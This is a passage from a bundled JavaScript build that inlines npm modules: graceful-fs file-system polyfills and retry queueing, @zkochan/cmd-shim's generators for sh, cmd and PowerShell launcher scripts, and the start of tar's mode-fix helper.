        if (constants2.hasOwnProperty(&quot;O_SYMLINK&quot;) &amp;&amp; fs18.futimes) {
          fs18.lutimes = function(path16, at, mt, cb) {
            fs18.open(path16, constants2.O_SYMLINK, function(er, fd) {
              if (er) {
                if (cb) cb(er);
                return;
              }
              fs18.futimes(fd, at, mt, function(er2) {
                fs18.close(fd, function(er22) {
                  if (cb) cb(er2 || er22);
                });
              });
            });
          };
          fs18.lutimesSync = function(path16, at, mt) {
            var fd = fs18.openSync(path16, constants2.O_SYMLINK);
            var ret;
            var threw = true;
            try {
              ret = fs18.futimesSync(fd, at, mt);
              threw = false;
            } finally {
              if (threw) {
                try {
                  fs18.closeSync(fd);
                } catch (er) {
                }
              } else {
                fs18.closeSync(fd);
              }
            }
            return ret;
          };
        } else if (fs18.futimes) {
          fs18.lutimes = function(_a, _b, _c, cb) {
            if (cb) process.nextTick(cb);
          };
          fs18.lutimesSync = function() {
          };
        }
      }
      function chmodFix(orig) {
        if (!orig) return orig;
        return function(target, mode, cb) {
          return orig.call(fs17, target, mode, function(er) {
            if (chownErOk(er)) er = null;
            if (cb) cb.apply(this, arguments);
          });
        };
      }
      function chmodFixSync(orig) {
        if (!orig) return orig;
        return function(target, mode) {
          try {
            return orig.call(fs17, target, mode);
          } catch (er) {
            if (!chownErOk(er)) throw er;
          }
        };
      }
      function chownFix(orig) {
        if (!orig) return orig;
        return function(target, uid, gid, cb) {
          return orig.call(fs17, target, uid, gid, function(er) {
            if (chownErOk(er)) er = null;
            if (cb) cb.apply(this, arguments);
          });
        };
      }
      function chownFixSync(orig) {
        if (!orig) return orig;
        return function(target, uid, gid) {
          try {
            return orig.call(fs17, target, uid, gid);
          } catch (er) {
            if (!chownErOk(er)) throw er;
          }
        };
      }
      function statFix(orig) {
        if (!orig) return orig;
        return function(target, options, cb) {
          if (typeof options === &quot;function&quot;) {
            cb = options;
            options = null;
          }
          function callback(er, stats) {
            if (stats) {
              if (stats.uid &lt; 0) stats.uid += 4294967296;
              if (stats.gid &lt; 0) stats.gid += 4294967296;
            }
            if (cb) cb.apply(this, arguments);
          }
          return options ? orig.call(fs17, target, options, callback) : orig.call(fs17, target, callback);
        };
      }
      function statFixSync(orig) {
        if (!orig) return orig;
        return function(target, options) {
          var stats = options ? orig.call(fs17, target, options) : orig.call(fs17, target);
          if (stats) {
            if (stats.uid &lt; 0) stats.uid += 4294967296;
            if (stats.gid &lt; 0) stats.gid += 4294967296;
          }
          return stats;
        };
      }
      function chownErOk(er) {
        if (!er)
          return true;
        if (er.code === &quot;ENOSYS&quot;)
          return true;
        var nonroot = !process.getuid || process.getuid() !== 0;
        if (nonroot) {
          if (er.code === &quot;EINVAL&quot; || er.code === &quot;EPERM&quot;)
            return true;
        }
        return false;
      }
    }
  }
});

// node_modules/graceful-fs/legacy-streams.js
var require_legacy_streams = __commonJS({
  &quot;node_modules/graceful-fs/legacy-streams.js&quot;(exports2, module2) {
    var Stream2 = require(&quot;stream&quot;).Stream;
    module2.exports = legacy;
    function legacy(fs17) {
      return {
        ReadStream: ReadStream2,
        WriteStream: WriteStream2
      };
      function ReadStream2(path16, options) {
        if (!(this instanceof ReadStream2)) return new ReadStream2(path16, options);
        Stream2.call(this);
        var self2 = this;
        this.path = path16;
        this.fd = null;
        this.readable = true;
        this.paused = false;
        this.flags = &quot;r&quot;;
        this.mode = 438;
        this.bufferSize = 64 * 1024;
        options = options || {};
        var keys = Object.keys(options);
        for (var index = 0, length = keys.length; index &lt; length; index++) {
          var key = keys[index];
          this[key] = options[key];
        }
        if (this.encoding) this.setEncoding(this.encoding);
        if (this.start !== void 0) {
          if (&quot;number&quot; !== typeof this.start) {
            throw TypeError(&quot;start must be a Number&quot;);
          }
          if (this.end === void 0) {
            this.end = Infinity;
          } else if (&quot;number&quot; !== typeof this.end) {
            throw TypeError(&quot;end must be a Number&quot;);
          }
          if (this.start &gt; this.end) {
            throw new Error(&quot;start must be &lt;= end&quot;);
          }
          this.pos = this.start;
        }
        if (this.fd !== null) {
          process.nextTick(function() {
            self2._read();
          });
          return;
        }
        fs17.open(this.path, this.flags, this.mode, function(err, fd) {
          if (err) {
            self2.emit(&quot;error&quot;, err);
            self2.readable = false;
            return;
          }
          self2.fd = fd;
          self2.emit(&quot;open&quot;, fd);
          self2._read();
        });
      }
      function WriteStream2(path16, options) {
        if (!(this instanceof WriteStream2)) return new WriteStream2(path16, options);
        Stream2.call(this);
        this.path = path16;
        this.fd = null;
        this.writable = true;
        this.flags = &quot;w&quot;;
        this.encoding = &quot;binary&quot;;
        this.mode = 438;
        this.bytesWritten = 0;
        options = options || {};
        var keys = Object.keys(options);
        for (var index = 0, length = keys.length; index &lt; length; index++) {
          var key = keys[index];
          this[key] = options[key];
        }
        if (this.start !== void 0) {
          if (&quot;number&quot; !== typeof this.start) {
            throw TypeError(&quot;start must be a Number&quot;);
          }
          if (this.start &lt; 0) {
            throw new Error(&quot;start must be &gt;= zero&quot;);
          }
          this.pos = this.start;
        }
        this.busy = false;
        this._queue = [];
        if (this.fd === null) {
          this._open = fs17.open;
          this._queue.push([this._open, this.path, this.flags, this.mode, void 0]);
          this.flush();
        }
      }
    }
  }
});

// node_modules/graceful-fs/clone.js
var require_clone = __commonJS({
  &quot;node_modules/graceful-fs/clone.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    module2.exports = clone;
    var getPrototypeOf = Object.getPrototypeOf || function(obj) {
      return obj.__proto__;
    };
    function clone(obj) {
      if (obj === null || typeof obj !== &quot;object&quot;)
        return obj;
      if (obj instanceof Object)
        var copy = { __proto__: getPrototypeOf(obj) };
      else
        var copy = /* @__PURE__ */ Object.create(null);
      Object.getOwnPropertyNames(obj).forEach(function(key) {
        Object.defineProperty(copy, key, Object.getOwnPropertyDescriptor(obj, key));
      });
      return copy;
    }
  }
});

// node_modules/graceful-fs/graceful-fs.js
var require_graceful_fs = __commonJS({
  &quot;node_modules/graceful-fs/graceful-fs.js&quot;(exports2, module2) {
    var fs17 = require(&quot;fs&quot;);
    var polyfills = require_polyfills();
    var legacy = require_legacy_streams();
    var clone = require_clone();
    var util = require(&quot;util&quot;);
    var gracefulQueue;
    var previousSymbol;
    if (typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.for === &quot;function&quot;) {
      gracefulQueue = /* @__PURE__ */ Symbol.for(&quot;graceful-fs.queue&quot;);
      previousSymbol = /* @__PURE__ */ Symbol.for(&quot;graceful-fs.previous&quot;);
    } else {
      gracefulQueue = &quot;___graceful-fs.queue&quot;;
      previousSymbol = &quot;___graceful-fs.previous&quot;;
    }
    function noop3() {
    }
    function publishQueue(context, queue2) {
      Object.defineProperty(context, gracefulQueue, {
        get: function() {
          return queue2;
        }
      });
    }
    var debug = noop3;
    if (util.debuglog)
      debug = util.debuglog(&quot;gfs4&quot;);
    else if (/\bgfs4\b/i.test(process.env.NODE_DEBUG || &quot;&quot;))
      debug = function() {
        var m = util.format.apply(util, arguments);
        m = &quot;GFS4: &quot; + m.split(/\n/).join(&quot;\nGFS4: &quot;);
        console.error(m);
      };
    if (!fs17[gracefulQueue]) {
      queue = global[gracefulQueue] || [];
      publishQueue(fs17, queue);
      fs17.close = (function(fs$close) {
        function close(fd, cb) {
          return fs$close.call(fs17, fd, function(err) {
            if (!err) {
              resetQueue();
            }
            if (typeof cb === &quot;function&quot;)
              cb.apply(this, arguments);
          });
        }
        Object.defineProperty(close, previousSymbol, {
          value: fs$close
        });
        return close;
      })(fs17.close);
      fs17.closeSync = (function(fs$closeSync) {
        function closeSync(fd) {
          fs$closeSync.apply(fs17, arguments);
          resetQueue();
        }
        Object.defineProperty(closeSync, previousSymbol, {
          value: fs$closeSync
        });
        return closeSync;
      })(fs17.closeSync);
      if (/\bgfs4\b/i.test(process.env.NODE_DEBUG || &quot;&quot;)) {
        process.on(&quot;exit&quot;, function() {
          debug(fs17[gracefulQueue]);
          require(&quot;assert&quot;).equal(fs17[gracefulQueue].length, 0);
        });
      }
    }
    var queue;
    if (!global[gracefulQueue]) {
      publishQueue(global, fs17[gracefulQueue]);
    }
    module2.exports = patch(clone(fs17));
    if (process.env.TEST_GRACEFUL_FS_GLOBAL_PATCH &amp;&amp; !fs17.__patched) {
      module2.exports = patch(fs17);
      fs17.__patched = true;
    }
    function patch(fs18) {
      polyfills(fs18);
      fs18.gracefulify = patch;
      fs18.createReadStream = createReadStream;
      fs18.createWriteStream = createWriteStream;
      var fs$readFile = fs18.readFile;
      fs18.readFile = readFile;
      function readFile(path16, options, cb) {
        if (typeof options === &quot;function&quot;)
          cb = options, options = null;
        return go$readFile(path16, options, cb);
        function go$readFile(path17, options2, cb2, startTime) {
          return fs$readFile(path17, options2, function(err) {
            if (err &amp;&amp; (err.code === &quot;EMFILE&quot; || err.code === &quot;ENFILE&quot;))
              enqueue([go$readFile, [path17, options2, cb2], err, startTime || Date.now(), Date.now()]);
            else {
              if (typeof cb2 === &quot;function&quot;)
                cb2.apply(this, arguments);
            }
          });
        }
      }
      var fs$writeFile = fs18.writeFile;
      fs18.writeFile = writeFile;
      function writeFile(path16, data, options, cb) {
        if (typeof options === &quot;function&quot;)
          cb = options, options = null;
        return go$writeFile(path16, data, options, cb);
        function go$writeFile(path17, data2, options2, cb2, startTime) {
          return fs$writeFile(path17, data2, options2, function(err) {
            if (err &amp;&amp; (err.code === &quot;EMFILE&quot; || err.code === &quot;ENFILE&quot;))
              enqueue([go$writeFile, [path17, data2, options2, cb2], err, startTime || Date.now(), Date.now()]);
            else {
              if (typeof cb2 === &quot;function&quot;)
                cb2.apply(this, arguments);
            }
          });
        }
      }
      var fs$appendFile = fs18.appendFile;
      if (fs$appendFile)
        fs18.appendFile = appendFile;
      function appendFile(path16, data, options, cb) {
        if (typeof options === &quot;function&quot;)
          cb = options, options = null;
        return go$appendFile(path16, data, options, cb);
        function go$appendFile(path17, data2, options2, cb2, startTime) {
          return fs$appendFile(path17, data2, options2, function(err) {
            if (err &amp;&amp; (err.code === &quot;EMFILE&quot; || err.code === &quot;ENFILE&quot;))
              enqueue([go$appendFile, [path17, data2, options2, cb2], err, startTime || Date.now(), Date.now()]);
            else {
              if (typeof cb2 === &quot;function&quot;)
                cb2.apply(this, arguments);
            }
          });
        }
      }
      var fs$copyFile = fs18.copyFile;
      if (fs$copyFile)
        fs18.copyFile = copyFile;
      function copyFile(src, dest, flags, cb) {
        if (typeof flags === &quot;function&quot;) {
          cb = flags;
          flags = 0;
        }
        return go$copyFile(src, dest, flags, cb);
        function go$copyFile(src2, dest2, flags2, cb2, startTime) {
          return fs$copyFile(src2, dest2, flags2, function(err) {
            if (err &amp;&amp; (err.code === &quot;EMFILE&quot; || err.code === &quot;ENFILE&quot;))
              enqueue([go$copyFile, [src2, dest2, flags2, cb2], err, startTime || Date.now(), Date.now()]);
            else {
              if (typeof cb2 === &quot;function&quot;)
                cb2.apply(this, arguments);
            }
          });
        }
      }
      var fs$readdir = fs18.readdir;
      fs18.readdir = readdir;
      var noReaddirOptionVersions = /^v[0-5]\./;
      function readdir(path16, options, cb) {
        if (typeof options === &quot;function&quot;)
          cb = options, options = null;
        var go$readdir = noReaddirOptionVersions.test(process.version) ? function go$readdir2(path17, options2, cb2, startTime) {
          return fs$readdir(path17, fs$readdirCallback(
            path17,
            options2,
            cb2,
            startTime
          ));
        } : function go$readdir2(path17, options2, cb2, startTime) {
          return fs$readdir(path17, options2, fs$readdirCallback(
            path17,
            options2,
            cb2,
            startTime
          ));
        };
        return go$readdir(path16, options, cb);
        function fs$readdirCallback(path17, options2, cb2, startTime) {
          return function(err, files) {
            if (err &amp;&amp; (err.code === &quot;EMFILE&quot; || err.code === &quot;ENFILE&quot;))
              enqueue([
                go$readdir,
                [path17, options2, cb2],
                err,
                startTime || Date.now(),
                Date.now()
              ]);
            else {
              if (files &amp;&amp; files.sort)
                files.sort();
              if (typeof cb2 === &quot;function&quot;)
                cb2.call(this, err, files);
            }
          };
        }
      }
      if (process.version.substr(0, 4) === &quot;v0.8&quot;) {
        var legStreams = legacy(fs18);
        ReadStream2 = legStreams.ReadStream;
        WriteStream2 = legStreams.WriteStream;
      }
      var fs$ReadStream = fs18.ReadStream;
      if (fs$ReadStream) {
        ReadStream2.prototype = Object.create(fs$ReadStream.prototype);
        ReadStream2.prototype.open = ReadStream$open;
      }
      var fs$WriteStream = fs18.WriteStream;
      if (fs$WriteStream) {
        WriteStream2.prototype = Object.create(fs$WriteStream.prototype);
        WriteStream2.prototype.open = WriteStream$open;
      }
      Object.defineProperty(fs18, &quot;ReadStream&quot;, {
        get: function() {
          return ReadStream2;
        },
        set: function(val) {
          ReadStream2 = val;
        },
        enumerable: true,
        configurable: true
      });
      Object.defineProperty(fs18, &quot;WriteStream&quot;, {
        get: function() {
          return WriteStream2;
        },
        set: function(val) {
          WriteStream2 = val;
        },
        enumerable: true,
        configurable: true
      });
      var FileReadStream = ReadStream2;
      Object.defineProperty(fs18, &quot;FileReadStream&quot;, {
        get: function() {
          return FileReadStream;
        },
        set: function(val) {
          FileReadStream = val;
        },
        enumerable: true,
        configurable: true
      });
      var FileWriteStream = WriteStream2;
      Object.defineProperty(fs18, &quot;FileWriteStream&quot;, {
        get: function() {
          return FileWriteStream;
        },
        set: function(val) {
          FileWriteStream = val;
        },
        enumerable: true,
        configurable: true
      });
      function ReadStream2(path16, options) {
        if (this instanceof ReadStream2)
          return fs$ReadStream.apply(this, arguments), this;
        else
          return ReadStream2.apply(Object.create(ReadStream2.prototype), arguments);
      }
      function ReadStream$open() {
        var that = this;
        open(that.path, that.flags, that.mode, function(err, fd) {
          if (err) {
            if (that.autoClose)
              that.destroy();
            that.emit(&quot;error&quot;, err);
          } else {
            that.fd = fd;
            that.emit(&quot;open&quot;, fd);
            that.read();
          }
        });
      }
      function WriteStream2(path16, options) {
        if (this instanceof WriteStream2)
          return fs$WriteStream.apply(this, arguments), this;
        else
          return WriteStream2.apply(Object.create(WriteStream2.prototype), arguments);
      }
      function WriteStream$open() {
        var that = this;
        open(that.path, that.flags, that.mode, function(err, fd) {
          if (err) {
            that.destroy();
            that.emit(&quot;error&quot;, err);
          } else {
            that.fd = fd;
            that.emit(&quot;open&quot;, fd);
          }
        });
      }
      function createReadStream(path16, options) {
        return new fs18.ReadStream(path16, options);
      }
      function createWriteStream(path16, options) {
        return new fs18.WriteStream(path16, options);
      }
      var fs$open = fs18.open;
      fs18.open = open;
      function open(path16, flags, mode, cb) {
        if (typeof mode === &quot;function&quot;)
          cb = mode, mode = null;
        return go$open(path16, flags, mode, cb);
        function go$open(path17, flags2, mode2, cb2, startTime) {
          return fs$open(path17, flags2, mode2, function(err, fd) {
            if (err &amp;&amp; (err.code === &quot;EMFILE&quot; || err.code === &quot;ENFILE&quot;))
              enqueue([go$open, [path17, flags2, mode2, cb2], err, startTime || Date.now(), Date.now()]);
            else {
              if (typeof cb2 === &quot;function&quot;)
                cb2.apply(this, arguments);
            }
          });
        }
      }
      return fs18;
    }
    function enqueue(elem) {
      debug(&quot;ENQUEUE&quot;, elem[0].name, elem[1]);
      fs17[gracefulQueue].push(elem);
      retry();
    }
    var retryTimer;
    function resetQueue() {
      var now = Date.now();
      for (var i = 0; i &lt; fs17[gracefulQueue].length; ++i) {
        if (fs17[gracefulQueue][i].length &gt; 2) {
          fs17[gracefulQueue][i][3] = now;
          fs17[gracefulQueue][i][4] = now;
        }
      }
      retry();
    }
    function retry() {
      clearTimeout(retryTimer);
      retryTimer = void 0;
      if (fs17[gracefulQueue].length === 0)
        return;
      var elem = fs17[gracefulQueue].shift();
      var fn2 = elem[0];
      var args = elem[1];
      var err = elem[2];
      var startTime = elem[3];
      var lastTime = elem[4];
      if (startTime === void 0) {
        debug(&quot;RETRY&quot;, fn2.name, args);
        fn2.apply(null, args);
      } else if (Date.now() - startTime &gt;= 6e4) {
        debug(&quot;TIMEOUT&quot;, fn2.name, args);
        var cb = args.pop();
        if (typeof cb === &quot;function&quot;)
          cb.call(null, err);
      } else {
        var sinceAttempt = Date.now() - lastTime;
        var sinceStart = Math.max(lastTime - startTime, 1);
        var desiredDelay = Math.min(sinceStart * 1.2, 100);
        if (sinceAttempt &gt;= desiredDelay) {
          debug(&quot;RETRY&quot;, fn2.name, args);
          fn2.apply(null, args.concat([startTime]));
        } else {
          fs17[gracefulQueue].push(elem);
        }
      }
      if (retryTimer === void 0) {
        retryTimer = setTimeout(retry, 0);
      }
    }
  }
});

// node_modules/@zkochan/cmd-shim/index.js
var require_cmd_shim = __commonJS({
  &quot;node_modules/@zkochan/cmd-shim/index.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    cmdShim2.ifExists = cmdShimIfExists;
    var util_1 = require(&quot;util&quot;);
    var path16 = require(&quot;path&quot;);
    var isWindows4 = require_is_windows();
    var CMD_EXTENSION = require_cmd_extension();
    var shebangExpr = /^#!\s*(?:\/usr\/bin\/env(?:\s+-S\s*)?)?\s*([^ \t]+)(.*)$/;
    var DEFAULT_OPTIONS = {
      // Create PowerShell file by default if the option hasn&#039;t been specified
      createPwshFile: true,
      createCmdFile: isWindows4(),
      fs: require_graceful_fs()
    };
    var extensionToProgramMap = /* @__PURE__ */ new Map([
      [&quot;.js&quot;, &quot;node&quot;],
      [&quot;.cjs&quot;, &quot;node&quot;],
      [&quot;.mjs&quot;, &quot;node&quot;],
      [&quot;.cmd&quot;, &quot;cmd&quot;],
      [&quot;.bat&quot;, &quot;cmd&quot;],
      [&quot;.ps1&quot;, &quot;pwsh&quot;],
      [&quot;.sh&quot;, &quot;sh&quot;]
    ]);
    function ingestOptions(opts) {
      const opts_ = { ...DEFAULT_OPTIONS, ...opts };
      const fs17 = opts_.fs;
      opts_.fs_ = {
        chmod: fs17.chmod ? (0, util_1.promisify)(fs17.chmod) : (async () =&gt; {
        }),
        mkdir: (0, util_1.promisify)(fs17.mkdir),
        readFile: (0, util_1.promisify)(fs17.readFile),
        stat: (0, util_1.promisify)(fs17.stat),
        unlink: (0, util_1.promisify)(fs17.unlink),
        writeFile: (0, util_1.promisify)(fs17.writeFile)
      };
      return opts_;
    }
    async function cmdShim2(src, to, opts) {
      const opts_ = ingestOptions(opts);
      await cmdShim_(src, to, opts_);
    }
    function cmdShimIfExists(src, to, opts) {
      return cmdShim2(src, to, opts).catch(() =&gt; {
      });
    }
    function rm(path17, opts) {
      return opts.fs_.unlink(path17).catch(() =&gt; {
      });
    }
    async function cmdShim_(src, to, opts) {
      const srcRuntimeInfo = await searchScriptRuntime(src, opts);
      await writeShimsPreCommon(to, opts);
      return writeAllShims(src, to, srcRuntimeInfo, opts);
    }
    function writeShimsPreCommon(target, opts) {
      return opts.fs_.mkdir(path16.dirname(target), { recursive: true });
    }
    function writeAllShims(src, to, srcRuntimeInfo, opts) {
      const opts_ = ingestOptions(opts);
      const generatorAndExts = [{ generator: generateShShim, extension: &quot;&quot; }];
      if (opts_.createCmdFile) {
        generatorAndExts.push({ generator: generateCmdShim, extension: CMD_EXTENSION });
      }
      if (opts_.createPwshFile) {
        generatorAndExts.push({ generator: generatePwshShim, extension: &quot;.ps1&quot; });
      }
      return Promise.all(generatorAndExts.map((generatorAndExt) =&gt; writeShim(src, to + generatorAndExt.extension, srcRuntimeInfo, generatorAndExt.generator, opts_)));
    }
    function writeShimPre(target, opts) {
      return rm(target, opts);
    }
    function writeShimPost(target, opts) {
      return chmodShim(target, opts);
    }
    async function searchScriptRuntime(target, opts) {
      try {
        const data = await opts.fs_.readFile(target, &quot;utf8&quot;);
        const firstLine = data.trim().split(/\r*\n/)[0];
        const shebang = firstLine.match(shebangExpr);
        if (!shebang) {
          const targetExtension = path16.extname(target).toLowerCase();
          return {
            // undefined if extension is unknown but it&#039;s converted to null.
            program: extensionToProgramMap.get(targetExtension) || null,
            additionalArgs: &quot;&quot;
          };
        }
        return {
          program: shebang[1],
          additionalArgs: shebang[2]
        };
      } catch (err) {
        if (!isWindows4() || err.code !== &quot;ENOENT&quot;)
          throw err;
        if (await opts.fs_.stat(`${target}${getExeExtension()}`)) {
          return {
            program: null,
            additionalArgs: &quot;&quot;
          };
        }
        throw err;
      }
    }
    function getExeExtension() {
      let cmdExtension;
      if (process.env.PATHEXT) {
        cmdExtension = process.env.PATHEXT.split(path16.delimiter).find((ext) =&gt; ext.toLowerCase() === &quot;.exe&quot;);
      }
      return cmdExtension || &quot;.exe&quot;;
    }
    async function writeShim(src, to, srcRuntimeInfo, generateShimScript, opts) {
      const defaultArgs = opts.preserveSymlinks ? &quot;--preserve-symlinks&quot; : &quot;&quot;;
      const args = [srcRuntimeInfo.additionalArgs, defaultArgs].filter((arg) =&gt; arg).join(&quot; &quot;);
      opts = Object.assign({}, opts, {
        prog: srcRuntimeInfo.program,
        args
      });
      await writeShimPre(to, opts);
      await opts.fs_.writeFile(to, generateShimScript(src, to, opts), &quot;utf8&quot;);
      return writeShimPost(to, opts);
    }
    function generateCmdShim(src, to, opts) {
      const shTarget = path16.relative(path16.dirname(to), src);
      let target = shTarget.split(&quot;/&quot;).join(&quot;\\&quot;);
      const quotedPathToTarget = path16.isAbsolute(target) ? `&quot;${target}&quot;` : `&quot;%~dp0\\${target}&quot;`;
      let longProg;
      let prog = opts.prog;
      let args = opts.args || &quot;&quot;;
      const nodePath = normalizePathEnvVar(opts.nodePath).win32;
      const prependToPath = normalizePathEnvVar(opts.prependToPath).win32;
      if (!prog) {
        prog = quotedPathToTarget;
        args = &quot;&quot;;
        target = &quot;&quot;;
      } else if (prog === &quot;node&quot; &amp;&amp; opts.nodeExecPath) {
        prog = `&quot;${opts.nodeExecPath}&quot;`;
        target = quotedPathToTarget;
      } else {
        longProg = `&quot;%~dp0\\${prog}.exe&quot;`;
        target = quotedPathToTarget;
      }
      let progArgs = opts.progArgs ? `${opts.progArgs.join(` `)} ` : &quot;&quot;;
      let cmd = &quot;@SETLOCAL\r\n&quot;;
      if (prependToPath) {
        cmd += `@SET &quot;PATH=${prependToPath}:%PATH%&quot;\r
`;
      }
      if (nodePath) {
        cmd += `@IF NOT DEFINED NODE_PATH (\r
  @SET &quot;NODE_PATH=${nodePath}&quot;\r
) ELSE (\r
  @SET &quot;NODE_PATH=${nodePath};%NODE_PATH%&quot;\r
)\r
`;
      }
      if (longProg) {
        cmd += `@IF EXIST ${longProg} (\r
  ${longProg} ${args} ${target} ${progArgs}%*\r
) ELSE (\r
  @SET PATHEXT=%PATHEXT:;.JS;=;%\r
  ${prog} ${args} ${target} ${progArgs}%*\r
)\r
`;
      } else {
        cmd += `@${prog} ${args} ${target} ${progArgs}%*\r
`;
      }
      return cmd;
    }
    function generateShShim(src, to, opts) {
      let shTarget = path16.relative(path16.dirname(to), src);
      let shProg = opts.prog &amp;&amp; opts.prog.split(&quot;\\&quot;).join(&quot;/&quot;);
      let shLongProg;
      shTarget = shTarget.split(&quot;\\&quot;).join(&quot;/&quot;);
      const quotedPathToTarget = path16.isAbsolute(shTarget) ? `&quot;${shTarget}&quot;` : `&quot;$basedir/${shTarget}&quot;`;
      let args = opts.args || &quot;&quot;;
      const shNodePath = normalizePathEnvVar(opts.nodePath).posix;
      if (!shProg) {
        shProg = quotedPathToTarget;
        args = &quot;&quot;;
        shTarget = &quot;&quot;;
      } else if (opts.prog === &quot;node&quot; &amp;&amp; opts.nodeExecPath) {
        shProg = `&quot;${opts.nodeExecPath}&quot;`;
        shTarget = quotedPathToTarget;
      } else {
        shLongProg = `&quot;$basedir/${opts.prog}&quot;`;
        shTarget = quotedPathToTarget;
      }
      let progArgs = opts.progArgs ? `${opts.progArgs.join(` `)} ` : &quot;&quot;;
      let sh = `#!/bin/sh
basedir=$(dirname &quot;$(echo &quot;$0&quot; | sed -e &#039;s,\\\\,/,g&#039;)&quot;)

case \`uname\` in
    *CYGWIN*) basedir=\`cygpath -w &quot;$basedir&quot;\`;;
esac

`;
      if (opts.prependToPath) {
        sh += `export PATH=&quot;${opts.prependToPath}:$PATH&quot;
`;
      }
      if (shNodePath) {
        sh += `if [ -z &quot;$NODE_PATH&quot; ]; then
  export NODE_PATH=&quot;${shNodePath}&quot;
else
  export NODE_PATH=&quot;${shNodePath}:$NODE_PATH&quot;
fi
`;
      }
      if (shLongProg) {
        sh += `if [ -x ${shLongProg} ]; then
  exec ${shLongProg} ${args} ${shTarget} ${progArgs}&quot;$@&quot;
else
  exec ${shProg} ${args} ${shTarget} ${progArgs}&quot;$@&quot;
fi
`;
      } else {
        sh += `${shProg} ${args} ${shTarget} ${progArgs}&quot;$@&quot;
exit $?
`;
      }
      return sh;
    }
    function generatePwshShim(src, to, opts) {
      let shTarget = path16.relative(path16.dirname(to), src);
      const shProg = opts.prog &amp;&amp; opts.prog.split(&quot;\\&quot;).join(&quot;/&quot;);
      let pwshProg = shProg &amp;&amp; `&quot;${shProg}$exe&quot;`;
      let pwshLongProg;
      shTarget = shTarget.split(&quot;\\&quot;).join(&quot;/&quot;);
      const quotedPathToTarget = path16.isAbsolute(shTarget) ? `&quot;${shTarget}&quot;` : `&quot;$basedir/${shTarget}&quot;`;
      let args = opts.args || &quot;&quot;;
      let normalizedNodePathEnvVar = normalizePathEnvVar(opts.nodePath);
      const nodePath = normalizedNodePathEnvVar.win32;
      const shNodePath = normalizedNodePathEnvVar.posix;
      let normalizedPrependPathEnvVar = normalizePathEnvVar(opts.prependToPath);
      const prependPath = normalizedPrependPathEnvVar.win32;
      const shPrependPath = normalizedPrependPathEnvVar.posix;
      if (!pwshProg) {
        pwshProg = quotedPathToTarget;
        args = &quot;&quot;;
        shTarget = &quot;&quot;;
      } else if (opts.prog === &quot;node&quot; &amp;&amp; opts.nodeExecPath) {
        pwshProg = `&quot;${opts.nodeExecPath}&quot;`;
        shTarget = quotedPathToTarget;
      } else {
        pwshLongProg = `&quot;$basedir/${opts.prog}$exe&quot;`;
        shTarget = quotedPathToTarget;
      }
      let progArgs = opts.progArgs ? `${opts.progArgs.join(` `)} ` : &quot;&quot;;
      let pwsh = `#!/usr/bin/env pwsh
$basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent

$exe=&quot;&quot;
${nodePath || prependPath ? &#039;$pathsep=&quot;:&quot;\n&#039; : &quot;&quot;}${nodePath ? `$env_node_path=$env:NODE_PATH
$new_node_path=&quot;${nodePath}&quot;
` : &quot;&quot;}${prependPath ? `$env_path=$env:PATH
$prepend_path=&quot;${prependPath}&quot;
` : &quot;&quot;}if ($PSVersionTable.PSVersion -lt &quot;6.0&quot; -or $IsWindows) {
  # Fix case when both the Windows and Linux builds of Node
  # are installed in the same directory
  $exe=&quot;.exe&quot;
${nodePath || prependPath ? &#039;  $pathsep=&quot;;&quot;\n&#039; : &quot;&quot;}}`;
      if (shNodePath || shPrependPath) {
        pwsh += ` else {
${shNodePath ? `  $new_node_path=&quot;${shNodePath}&quot;
` : &quot;&quot;}${shPrependPath ? `  $prepend_path=&quot;${shPrependPath}&quot;
` : &quot;&quot;}}
`;
      }
      if (shNodePath) {
        pwsh += `if ([string]::IsNullOrEmpty($env_node_path)) {
  $env:NODE_PATH=$new_node_path
} else {
  $env:NODE_PATH=&quot;$new_node_path$pathsep$env_node_path&quot;
}
`;
      }
      if (opts.prependToPath) {
        pwsh += `
$env:PATH=&quot;$prepend_path$pathsep$env:PATH&quot;
`;
      }
      if (pwshLongProg) {
        pwsh += `
$ret=0
if (Test-Path ${pwshLongProg}) {
  # Support pipeline input
  if ($MyInvocation.ExpectingInput) {
    $input | &amp; ${pwshLongProg} ${args} ${shTarget} ${progArgs}$args
  } else {
    &amp; ${pwshLongProg} ${args} ${shTarget} ${progArgs}$args
  }
  $ret=$LASTEXITCODE
} else {
  # Support pipeline input
  if ($MyInvocation.ExpectingInput) {
    $input | &amp; ${pwshProg} ${args} ${shTarget} ${progArgs}$args
  } else {
    &amp; ${pwshProg} ${args} ${shTarget} ${progArgs}$args
  }
  $ret=$LASTEXITCODE
}
${nodePath ? &quot;$env:NODE_PATH=$env_node_path\n&quot; : &quot;&quot;}${prependPath ? &quot;$env:PATH=$env_path\n&quot; : &quot;&quot;}exit $ret
`;
      } else {
        pwsh += `
# Support pipeline input
if ($MyInvocation.ExpectingInput) {
  $input | &amp; ${pwshProg} ${args} ${shTarget} ${progArgs}$args
} else {
  &amp; ${pwshProg} ${args} ${shTarget} ${progArgs}$args
}
${nodePath ? &quot;$env:NODE_PATH=$env_node_path\n&quot; : &quot;&quot;}${prependPath ? &quot;$env:PATH=$env_path\n&quot; : &quot;&quot;}exit $LASTEXITCODE
`;
      }
      return pwsh;
    }
    function chmodShim(to, opts) {
      return opts.fs_.chmod(to, 493);
    }
    function normalizePathEnvVar(nodePath) {
      if (!nodePath || !nodePath.length) {
        return {
          win32: &quot;&quot;,
          posix: &quot;&quot;
        };
      }
      let split = typeof nodePath === &quot;string&quot; ? nodePath.split(path16.delimiter) : Array.from(nodePath);
      let result = {};
      for (let i = 0; i &lt; split.length; i++) {
        const win322 = split[i].split(&quot;/&quot;).join(&quot;\\&quot;);
        const posix = isWindows4() ? split[i].split(&quot;\\&quot;).join(&quot;/&quot;).replace(/^([^:\\/]*):/, (_, $1) =&gt; `/mnt/${$1.toLowerCase()}`) : split[i];
        result.win32 = result.win32 ? `${result.win32};${win322}` : win322;
        result.posix = result.posix ? `${result.posix}:${posix}` : posix;
        result[i] = { win32: win322, posix };
      }
      return result;
    }
    module2.exports = cmdShim2;
  }
});

// node_modules/tar/dist/esm/mode-fix.js
var modeFix;
var init_mode_fix = __esm({
  &quot;node_modules/tar/dist/esm/mode-fix.js&quot;() {
    modeFix = (mode, isDir, portable) =&gt; {
      mode &amp;= 4095;
      if (portable) {
        mode = (mode | 384) &amp; ~18;
      }
      if (isDir) {
        if (mode &amp; 256) {
          mode |= 64;
        }
        if (mode &amp; 32) {
          mode |= 8;
